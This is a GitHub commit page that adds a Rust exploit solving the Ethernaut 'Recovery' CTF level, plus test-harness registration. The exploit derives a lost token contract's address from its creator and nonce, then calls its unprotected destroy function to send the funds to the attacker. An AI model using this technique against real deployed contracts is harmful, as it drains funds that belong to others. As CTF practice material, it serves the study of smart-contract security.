Skip to content

Commit

Permalink
solve ethernaut lvl17
Browse files Browse the repository at this point in the history
  • Loading branch information
0xgleb committed Sep 3, 2023
1 parent e8db1a5 commit 2cb15c7
Show file tree
Hide file tree
Showing 4 changed files with 33 additions and 2 deletions.
25 changes: 25 additions & 0 deletions attack/src/ethernaut/hack17_recovery.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
use async_trait::async_trait;
use ctf::ethernaut::lvl17_recovery::*;
use ethers::prelude::*;

pub(crate) struct Exploit;

#[async_trait]
impl ctf::Exploit for Exploit {
type Target = Target;

async fn attack(
self,
target: &Self::Target,
offender: &ctf::Actor,
) -> eyre::Result<()> {
let derived_address =
ethers::utils::get_contract_address(target.address, 1);

let token = SimpleToken::new(derived_address, offender.to_owned());

token.destroy(offender.address()).send().await?.await?;

Ok(())
}
}
3 changes: 3 additions & 0 deletions attack/src/ethernaut/mod.rs
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ pub mod hack13_gatekeeper_one;
pub mod hack14_gatekeeper_two;
pub mod hack15_naught_coin;
pub mod hack16_preservation;
pub mod hack17_recovery;

#[cfg(test)]
mod tests {
Expand All @@ -36,6 +37,7 @@ mod tests {
use hack14_gatekeeper_two as hack14;
use hack15_naught_coin as hack15;
use hack16_preservation as hack16;
use hack17_recovery as hack17;

#[tokio::test]
async fn test() -> eyre::Result<()> {
Expand All @@ -60,6 +62,7 @@ mod tests {
ctf::check_exploit(&roles, hack14::Exploit).await?;
ctf::check_exploit(&roles, hack15::Exploit).await?;
ctf::check_exploit(&roles, hack16::Exploit).await?;
ctf::check_exploit(&roles, hack17::Exploit).await?;

Ok(())
}
Expand Down
5 changes: 4 additions & 1 deletion ctf/src/ethernaut/lvl17_recovery.rs
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ use async_trait::async_trait;
use ethers::prelude::*;

pub use crate::abi::recovery::Recovery;
pub use crate::abi::simple_token::SimpleToken;

#[derive(Debug, Clone, PartialEq, serde::Serialize, serde::Deserialize)]
pub struct Target {
Expand All @@ -16,7 +17,9 @@ impl Level for Target {
Ok(ctfs.ethernaut.level17)
}

fn name(&self) -> &'static str { "Recovery" }
fn name(&self) -> &'static str {
"Recovery"
}

async fn set_up(roles: &Roles) -> eyre::Result<Self> {
let Roles { deployer, offender: _, some_user: _ } = roles;
Expand Down
2 changes: 1 addition & 1 deletion state.json

Large diffs are not rendered by default.

0 comments on commit 2cb15c7

Please sign in to comment.